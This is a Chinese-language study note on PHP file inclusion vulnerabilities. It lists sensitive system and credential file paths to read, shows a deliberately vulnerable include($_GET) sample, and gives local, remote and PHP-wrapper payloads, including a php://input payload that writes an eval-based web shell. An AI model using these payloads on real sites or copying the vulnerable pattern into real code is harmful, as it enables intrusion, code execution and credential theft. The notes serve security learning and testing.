文件包含
漏洞原理
:include()、include_once()、require()、require_once()等函数可以直接以php格式执行包含文件的代码,不受文件格式限制。web应用这些函数,且包含的文件路径是由用户传输参数方式引入,用户访问被包含文件时该文件以php格式解析。攻击者需要知道文件存放的路径才能进行访问。
include():执行到include函数时才文件包含,找不到被包含的文件路径时,发出警告,脚本继续运行
require():只要程序一运行就进行文件包含,找不到被包含的文件路径时,产生致命错误,脚本停止运行
include_once()与require():与上述函数一样,只是若文件中代码已经被包含则不会再次包含
敏感路径
:
典型:
?page=a.php
?home=b.html
?file=content…
Windows:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
C:\windows\repair\sam //存储 windows 系统初次安装的密码
C:\Program Files\mysql\my.ini //mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php 配置信息
C:\windows\my.ini //mysql 配置文件
UNIX/Linux:
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2 默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP 相关配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu 系统的默认路径
本地包含
1.txt和1.php在同一文件目录下,被包含文件无论什么格式都能解析成php
1.txt:
<?php phpinfo();?>
1.php:
<?php
$b=$_GET['id'];
include($b);
?>
playload
:
***/1.php?id=1.txt //返回phpinfo页面
远程包含
条件
: 一般 PHP 默认关闭远程包含,开启远程文件包含功能需要在 php.ini 中修改:
Allow_url_include = on、allow_url_fopen=on
playload
:
***/1.php?id=http:(文件绝对路径)
php伪协议
file://
:
用于访问本地文件系统
条件(php.ini): allow_url_fopen off/on allow_url_include off/on
file://[文件的绝对路径和文件名]
file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
file://[文件的相对路径和文件名]
file=./phpinfo.txt
file://[http://网络路径和文件名]
file=http://127.0.0.1/phpinfo.txt
php://filter
:
用于读取源码并进行bash64编码输出;
条件(php.ini):allow_url_fope off/on allow_url_include off/on
php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码
(针对php文件需要base64编码)
php://input
:
可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行;
条件(php.ini):allow_url_fope off/on allow_url_include on
php://input + [POST DATA]执行php代码
有写入权限则可以写入一句话木马
php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
php://stdin
:
只读,php://stdout 和 php://stderr 是只写的。
php://output
:是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
php://fd
:允许直接访问指定的文件描述符。
zip://,bzip://,zlib://
:
压缩流,可以访问压缩文件中的子文件,不需要传后缀名
条件: allow_url_fope off/on allow_url_include off/on
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
bzip2://file.bz2
zlib://file.gz
data://
:
传递相应格式数据,用于执行php代码
条件: allow_url_fope on allow_url_include on
data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://
与zip://类似,同样可以访问zip格式压缩包内容